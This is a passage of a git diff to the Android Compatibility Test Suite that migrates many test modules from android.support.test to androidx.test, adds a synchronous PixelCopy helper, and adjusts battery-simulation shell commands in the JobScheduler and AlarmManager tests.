+ * needs the waitForCompletion capability then it should call
+ * WebViewOnUiThread.onNewPicture.
+ */
+ private class WaitForNewPicture implements PictureListener {
+ @Override
+ public void onNewPicture(WebView view, Picture picture) {
+ WebViewOnUiThread.this.onNewPicture();
+ }
+ }
+}
diff --git a/libs/deviceutillegacy-axt/src/com/android/compatibility/common/util/SynchronousPixelCopy.java b/libs/deviceutillegacy-axt/src/com/android/compatibility/common/util/SynchronousPixelCopy.java
new file mode 100644
index 0000000..7ba8646
--- /dev/null
+++ b/libs/deviceutillegacy-axt/src/com/android/compatibility/common/util/SynchronousPixelCopy.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static org.junit.Assert.fail;
+
+import android.graphics.Bitmap;
+import android.graphics.Rect;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.view.PixelCopy;
+import android.view.Surface;
+import android.view.Window;
+import android.view.PixelCopy.OnPixelCopyFinishedListener;
+import android.view.SurfaceView;
+
+public class SynchronousPixelCopy implements OnPixelCopyFinishedListener {
+ private static Handler sHandler;
+ static {
+ HandlerThread thread = new HandlerThread("PixelCopyHelper");
+ thread.start();
+ sHandler = new Handler(thread.getLooper());
+ }
+
+ private int mStatus = -1;
+
+ public int request(Surface source, Bitmap dest) {
+ synchronized (this) {
+ PixelCopy.request(source, dest, this, sHandler);
+ return getResultLocked();
+ }
+ }
+
+ public int request(Surface source, Rect srcRect, Bitmap dest) {
+ synchronized (this) {
+ PixelCopy.request(source, srcRect, dest, this, sHandler);
+ return getResultLocked();
+ }
+ }
+
+ public int request(SurfaceView source, Bitmap dest) {
+ synchronized (this) {
+ PixelCopy.request(source, dest, this, sHandler);
+ return getResultLocked();
+ }
+ }
+
+ public int request(SurfaceView source, Rect srcRect, Bitmap dest) {
+ synchronized (this) {
+ PixelCopy.request(source, srcRect, dest, this, sHandler);
+ return getResultLocked();
+ }
+ }
+
+ public int request(Window source, Bitmap dest) {
+ synchronized (this) {
+ PixelCopy.request(source, dest, this, sHandler);
+ return getResultLocked();
+ }
+ }
+
+ public int request(Window source, Rect srcRect, Bitmap dest) {
+ synchronized (this) {
+ PixelCopy.request(source, srcRect, dest, this, sHandler);
+ return getResultLocked();
+ }
+ }
+
+ private int getResultLocked() {
+ try {
+ this.wait(250);
+ } catch (InterruptedException e) {
+ fail("PixelCopy request didn't complete within 250ms");
+ }
+ return mStatus;
+ }
+
+ @Override
+ public void onPixelCopyFinished(int copyResult) {
+ synchronized (this) {
+ mStatus = copyResult;
+ this.notify();
+ }
+ }
+}
diff --git a/libs/runner/Android.mk b/libs/runner/Android.mk
index 15f64a3..f245351 100644
--- a/libs/runner/Android.mk
+++ b/libs/runner/Android.mk
@@ -16,6 +16,8 @@
include $(CLEAR_VARS)
+# The legacy library that brings in android-support-test transitively
+
LOCAL_STATIC_JAVA_LIBRARIES := cts-test-runner
LOCAL_MODULE_TAGS := optional
@@ -25,3 +27,19 @@
LOCAL_SDK_VERSION := current
include $(BUILD_STATIC_JAVA_LIBRARY)
+
+
+# The library variant that brings in androidx.test transitively
+include $(CLEAR_VARS)
+
+LOCAL_STATIC_JAVA_LIBRARIES := cts-test-runner-axt
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE := ctstestrunner-axt
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_STATIC_JAVA_LIBRARY)
+
+
diff --git a/tests/AlarmManager/Android.mk b/tests/AlarmManager/Android.mk
index 1b3ff17..127cc5d 100755
--- a/tests/AlarmManager/Android.mk
+++ b/tests/AlarmManager/Android.mk
@@ -22,7 +22,7 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ub-uiautomator android-support-test compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ub-uiautomator androidx.test.rules compatibility-device-util-axt
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SRC_FILES += $(call all-java-files-under, app/src)
diff --git a/tests/AlarmManager/AndroidManifest.xml b/tests/AlarmManager/AndroidManifest.xml
index f557b51..30395c0 100644
--- a/tests/AlarmManager/AndroidManifest.xml
+++ b/tests/AlarmManager/AndroidManifest.xml
@@ -21,7 +21,7 @@
<uses-library android:name="android.test.runner"/>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:functionalTest="true"
android:targetPackage="android.alarmmanager.cts"
android:label="Alarm Manager Tests"/>
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java b/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
index 36acd82..8838492 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
@@ -31,12 +31,13 @@
import android.content.IntentFilter;
import android.os.BatteryManager;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.runner.AndroidJUnit4;
import android.support.test.uiautomator.UiDevice;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.AppStandbyUtils;
import org.junit.After;
@@ -298,9 +299,12 @@
private void setBatteryCharging(final boolean charging) throws Exception {
final BatteryManager bm = mContext.getSystemService(BatteryManager.class);
- final String cmd = "dumpsys battery " + (charging ? "reset" : "unplug");
- executeAndLog(cmd);
- if (!charging) {
+ if (charging) {
+ executeAndLog("dumpsys battery reset");
+ } else {
+ executeAndLog("dumpsys battery unplug");
+ executeAndLog("dumpsys battery set status " +
+ BatteryManager.BATTERY_STATUS_DISCHARGING);
assertTrue("Battery could not be unplugged", waitUntil(() -> !bm.isCharging(), 5_000));
}
}
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/BackgroundRestrictedAlarmsTest.java b/tests/AlarmManager/src/android/alarmmanager/cts/BackgroundRestrictedAlarmsTest.java
index a981e5a..f85ec18 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/BackgroundRestrictedAlarmsTest.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/BackgroundRestrictedAlarmsTest.java
@@ -19,8 +19,8 @@
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
-import android.alarmmanager.alarmtestapp.cts.TestAlarmScheduler;
import android.alarmmanager.alarmtestapp.cts.TestAlarmReceiver;
+import android.alarmmanager.alarmtestapp.cts.TestAlarmScheduler;
import android.app.AlarmManager;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
@@ -28,12 +28,13 @@
import android.content.Intent;
import android.content.IntentFilter;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.runner.AndroidJUnit4;
import android.support.test.uiautomator.UiDevice;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/JobScheduler/Android.mk b/tests/JobScheduler/Android.mk
index 622c06e..116d74f 100755
--- a/tests/JobScheduler/Android.mk
+++ b/tests/JobScheduler/Android.mk
@@ -22,7 +22,7 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ub-uiautomator android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ub-uiautomator androidx.test.rules
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/tests/JobScheduler/AndroidManifest.xml b/tests/JobScheduler/AndroidManifest.xml
index 915536c..db0b6bb 100755
--- a/tests/JobScheduler/AndroidManifest.xml
+++ b/tests/JobScheduler/AndroidManifest.xml
@@ -41,7 +41,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="JobScheduler device-side tests"
android:targetPackage="android.jobscheduler.cts" >
</instrumentation>
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java
index f8a4228..f1dca8b 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java
@@ -45,6 +45,9 @@
public class BatteryConstraintTest extends ConstraintTest {
private static final String TAG = "BatteryConstraintTest";
+ private String FEATURE_WATCH = "android.hardware.type.watch";
+ private String TWM_HARDWARE_FEATURE = "com.google.clockwork.hardware.traditional_watch_mode";
+
/** Unique identifier for the job scheduled by this suite of tests. */
public static final int BATTERY_JOB_ID = BatteryConstraintTest.class.hashCode();
@@ -268,6 +271,12 @@
* the battery level is critical and not on power.
*/
public void testBatteryNotLowConstraintFails_withoutPower() throws Exception {
+ if(getInstrumentation().getContext().getPackageManager().hasSystemFeature(FEATURE_WATCH) &&
+ getInstrumentation().getContext().getPackageManager().hasSystemFeature(
+ TWM_HARDWARE_FEATURE)) {
+ return;
+ }
+
setBatteryState(false, 5);
// setBatteryState() waited for the charging/not-charging state to formally settle,
// but battery level reporting lags behind that. wait a moment to let that happen
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
index 4486c15..e092a0d 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
@@ -114,6 +114,8 @@
mWifiManager.isWifiEnabled() == mInitialWiFiState);
mContext.unregisterReceiver(receiver);
+
+ super.tearDown();
}
// --------------------------------------------------------------------------------------------
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/ConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/ConstraintTest.java
index 7b8bf4b..bed0d07 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/ConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/ConstraintTest.java
@@ -41,10 +41,6 @@
*/
@TargetApi(21)
public abstract class ConstraintTest extends InstrumentationTestCase {
- /** Force the scheduler to consider the device to be on stable charging. */
- private static final Intent EXPEDITE_STABLE_CHARGING =
- new Intent("com.android.server.task.controllers.BatteryController.ACTION_CHARGING_STABLE");
-
/** Environment that notifies of JobScheduler callbacks. */
static MockJobService.TestEnvironment kTestEnvironment =
MockJobService.TestEnvironment.getTestEnvironment();
@@ -112,6 +108,7 @@
@Override
public void tearDown() throws Exception {
+ SystemUtil.runShellCommand(getInstrumentation(), "cmd battery reset");
if (mStorageStateChanged) {
// Put storage service back in to normal operation.
SystemUtil.runShellCommand(getInstrumentation(), "cmd devicestoragemonitor reset");
@@ -124,8 +121,11 @@
* considered to be on stable power - that is, plugged in for a period of 2 minutes.
* Rather than wait for this to happen, we cheat and send this broadcast instead.
*/
- protected void sendExpediteStableChargingBroadcast() {
- getContext().sendBroadcast(EXPEDITE_STABLE_CHARGING);
+ protected void sendExpediteStableChargingBroadcast() throws Exception {
+ // Faking the device to be 90% charging and then to be 91%, so that it triggers
+ // BatteryManager.ACTION_CHARGING in the upward change-level transition logic.
+ SystemUtil.runShellCommand(getInstrumentation(), "cmd battery set level 90");
+ SystemUtil.runShellCommand(getInstrumentation(), "cmd battery set level 91");
}
public void assertHasUriPermission(Uri uri, int grantFlags) {
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java
index e624a62..a3e9343 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java
@@ -36,12 +36,13 @@
import android.jobscheduler.cts.jobtestapp.TestJobSchedulerReceiver;
import android.os.PowerManager;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.runner.AndroidJUnit4;
import android.support.test.uiautomator.UiDevice;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.AppStandbyUtils;
import org.junit.After;
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/DeviceStatesTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/DeviceStatesTest.java
index 10b84d6..8fc13be 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/DeviceStatesTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/DeviceStatesTest.java
@@ -19,9 +19,10 @@
import android.annotation.TargetApi;
import android.app.job.JobInfo;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
import android.support.test.uiautomator.UiDevice;
+import androidx.test.InstrumentationRegistry;
+
/**
* Make sure the state of {@link android.app.job.JobScheduler} is correct.
*/
diff --git a/tests/JobSchedulerSharedUid/Android.mk b/tests/JobSchedulerSharedUid/Android.mk
index 416c2e3..0b9912c 100755
--- a/tests/JobSchedulerSharedUid/Android.mk
+++ b/tests/JobSchedulerSharedUid/Android.mk
@@ -22,7 +22,7 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ub-uiautomator android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ub-uiautomator androidx.test.rules
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/tests/JobSchedulerSharedUid/AndroidManifest.xml b/tests/JobSchedulerSharedUid/AndroidManifest.xml
index 5cf9ce5..824b73a 100755
--- a/tests/JobSchedulerSharedUid/AndroidManifest.xml
+++ b/tests/JobSchedulerSharedUid/AndroidManifest.xml
@@ -40,7 +40,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="JobScheduler shared-uid device-side tests"
android:targetPackage="android.jobscheduler.cts.shareduidtests" >
</instrumentation>
diff --git a/tests/JobSchedulerSharedUid/jobperm/Android.mk b/tests/JobSchedulerSharedUid/jobperm/Android.mk
index 8be235f..44ecdf3 100644
--- a/tests/JobSchedulerSharedUid/jobperm/Android.mk
+++ b/tests/JobSchedulerSharedUid/jobperm/Android.mk
@@ -20,7 +20,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
+ compatibility-device-util-axt \
LOCAL_SRC_FILES := \
$(call all-java-files-under, src) \
diff --git a/tests/JobSchedulerSharedUid/shareduid/Android.mk b/tests/JobSchedulerSharedUid/shareduid/Android.mk
index 1376b4e..cfc89cd 100644
--- a/tests/JobSchedulerSharedUid/shareduid/Android.mk
+++ b/tests/JobSchedulerSharedUid/shareduid/Android.mk
@@ -20,7 +20,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
+ compatibility-device-util-axt \
LOCAL_SRC_FILES := \
$(call all-java-files-under, src) \
diff --git a/tests/ProcessTest/AndroidManifest.xml b/tests/ProcessTest/AndroidManifest.xml
index c7cf635..f2d7202 100644
--- a/tests/ProcessTest/AndroidManifest.xml
+++ b/tests/ProcessTest/AndroidManifest.xml
@@ -18,7 +18,7 @@
android:sharedUserId="com.android.cts.process.uidpid_test">
<!-- InstrumentationTestRunner for AndroidTests -->
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.process"
android:label="Test process"/>
<application>
diff --git a/tests/acceleration/Android.mk b/tests/acceleration/Android.mk
index cef4379..789a8f4 100644
--- a/tests/acceleration/Android.mk
+++ b/tests/acceleration/Android.mk
@@ -25,7 +25,7 @@
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner compatibility-device-util
+ ctstestrunner-axt compatibility-device-util-axt
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
diff --git a/tests/acceleration/AndroidManifest.xml b/tests/acceleration/AndroidManifest.xml
index 1a21554..1aa4e64 100644
--- a/tests/acceleration/AndroidManifest.xml
+++ b/tests/acceleration/AndroidManifest.xml
@@ -28,7 +28,7 @@
android:hardwareAccelerated="false" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.acceleration.cts"
android:label="Tests for the Hardware Acceleration APIs." >
<meta-data android:name="listener"
diff --git a/tests/accessibility/Android.mk b/tests/accessibility/Android.mk
index 6dc7a5f..c1806c6 100644
--- a/tests/accessibility/Android.mk
+++ b/tests/accessibility/Android.mk
@@ -24,7 +24,7 @@
LOCAL_PACKAGE_NAME := CtsAccessibilityTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt hamcrest-library
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/tests/accessibility/AndroidManifest.xml b/tests/accessibility/AndroidManifest.xml
index da993ed..44aa84c 100644
--- a/tests/accessibility/AndroidManifest.xml
+++ b/tests/accessibility/AndroidManifest.xml
@@ -56,7 +56,7 @@
</service>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.view.accessibility.cts"
android:label="Tests for the accessibility APIs.">
<meta-data android:name="listener"
diff --git a/tests/accessibilityservice/Android.mk b/tests/accessibilityservice/Android.mk
index ed9c388..9b2369c 100644
--- a/tests/accessibilityservice/Android.mk
+++ b/tests/accessibilityservice/Android.mk
@@ -19,9 +19,9 @@
LOCAL_MODULE_TAGS := optional
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
+ ctstestrunner-axt hamcrest-library \
mockito-target-minus-junit4 \
- compatibility-device-util \
+ compatibility-device-util-axt \
platform-test-annotations
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
diff --git a/tests/accessibilityservice/AndroidManifest.xml b/tests/accessibilityservice/AndroidManifest.xml
index 5214410..df61d25 100644
--- a/tests/accessibilityservice/AndroidManifest.xml
+++ b/tests/accessibilityservice/AndroidManifest.xml
@@ -147,7 +147,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.accessibilityservice.cts"
android:label="Tests for the accessibility APIs.">
<meta-data
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityButtonTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityButtonTest.java
index 5e1fd3b..5c8cf31 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityButtonTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityButtonTest.java
@@ -17,8 +17,9 @@
import android.accessibilityservice.AccessibilityButtonController;
import android.app.Instrumentation;
import android.platform.test.annotations.AppModeFull;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.After;
import org.junit.Before;
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFingerprintGestureTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFingerprintGestureTest.java
index e45f0f4..a65b41e 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFingerprintGestureTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFingerprintGestureTest.java
@@ -16,7 +16,6 @@
import static android.content.pm.PackageManager.FEATURE_FINGERPRINT;
-import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
import static org.mockito.Mockito.reset;
@@ -30,9 +29,10 @@
import android.hardware.fingerprint.FingerprintManager;
import android.os.CancellationSignal;
import android.platform.test.annotations.AppModeFull;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.After;
import org.junit.Before;
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
index 01d841e..1dab4ff 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
@@ -28,11 +28,12 @@
import android.graphics.Path;
import android.graphics.Point;
import android.platform.test.annotations.AppModeFull;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
import android.util.DisplayMetrics;
import android.view.WindowManager;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityLoggingTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityLoggingTest.java
index 9299807..9654352 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityLoggingTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityLoggingTest.java
@@ -19,8 +19,9 @@
import android.content.Context;
import android.platform.test.annotations.Presubmit;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import com.android.compatibility.common.util.AppOpsUtils;
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityOverlayTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityOverlayTest.java
index 0f2c0e8..8efcb4c 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityOverlayTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityOverlayTest.java
@@ -22,15 +22,14 @@
import android.accessibilityservice.cts.utils.AsyncUtils;
import android.app.Instrumentation;
import android.app.UiAutomation;
-import android.os.Debug;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
import android.text.TextUtils;
import android.view.WindowManager;
-import android.view.accessibility.AccessibilityNodeInfo;
import android.view.accessibility.AccessibilityWindowInfo;
import android.widget.Button;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.After;
import org.junit.Before;
import org.junit.BeforeClass;
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityPaneTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityPaneTest.java
index 1eedee1..dd2b0a9 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityPaneTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityPaneTest.java
@@ -33,13 +33,14 @@
import android.app.Instrumentation;
import android.app.UiAutomation;
import android.app.UiAutomation.AccessibilityEventFilter;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.View;
import android.view.accessibility.AccessibilityNodeInfo;
import android.widget.TextView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.BeforeClass;
import org.junit.Rule;
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityViewTreeReportingTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityViewTreeReportingTest.java
index 720e23f..28a3acd 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityViewTreeReportingTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityViewTreeReportingTest.java
@@ -29,9 +29,9 @@
import android.app.Instrumentation;
import android.app.UiAutomation;
import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
import android.text.TextUtils;
import android.view.View;
import android.view.ViewGroup;
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java
index 9983699..68ba092 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java
@@ -22,8 +22,9 @@
import android.media.AudioManager;
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.Presubmit;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowReportingTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowReportingTest.java
index e9f3f52..388fd0a 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowReportingTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowReportingTest.java
@@ -43,9 +43,6 @@
import android.app.Activity;
import android.app.Instrumentation;
import android.app.UiAutomation;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.Gravity;
import android.view.View;
import android.view.WindowManager;
@@ -55,6 +52,10 @@
import android.widget.AutoCompleteTextView;
import android.widget.Button;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.AfterClass;
import org.junit.Before;
import org.junit.BeforeClass;
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
index b0d7001..1456b23 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
@@ -42,8 +42,6 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
-import static java.util.concurrent.TimeUnit.SECONDS;
-
import android.accessibilityservice.GestureDescription;
import android.accessibilityservice.GestureDescription.StrokeDescription;
import android.accessibilityservice.cts.AccessibilityGestureDispatchTest.GestureDispatchActivity;
@@ -54,18 +52,21 @@
import android.os.SystemClock;
import android.platform.test.annotations.AppModeFull;
import android.provider.Settings;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.MotionEvent;
import android.widget.TextView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
+import static java.util.concurrent.TimeUnit.SECONDS;
+
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collection;
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
index 822b2a6..a607fe7 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
@@ -24,7 +24,7 @@
import android.app.Instrumentation;
import android.app.UiAutomation;
import android.graphics.Rect;
-import android.support.test.rule.ActivityTestRule;
+import androidx.test.rule.ActivityTestRule;
import android.text.TextUtils;
import android.view.accessibility.AccessibilityEvent;
import android.view.accessibility.AccessibilityWindowInfo;
diff --git a/tests/admin/Android.mk b/tests/admin/Android.mk
index bd5346d..3775baf 100644
--- a/tests/admin/Android.mk
+++ b/tests/admin/Android.mk
@@ -21,7 +21,7 @@
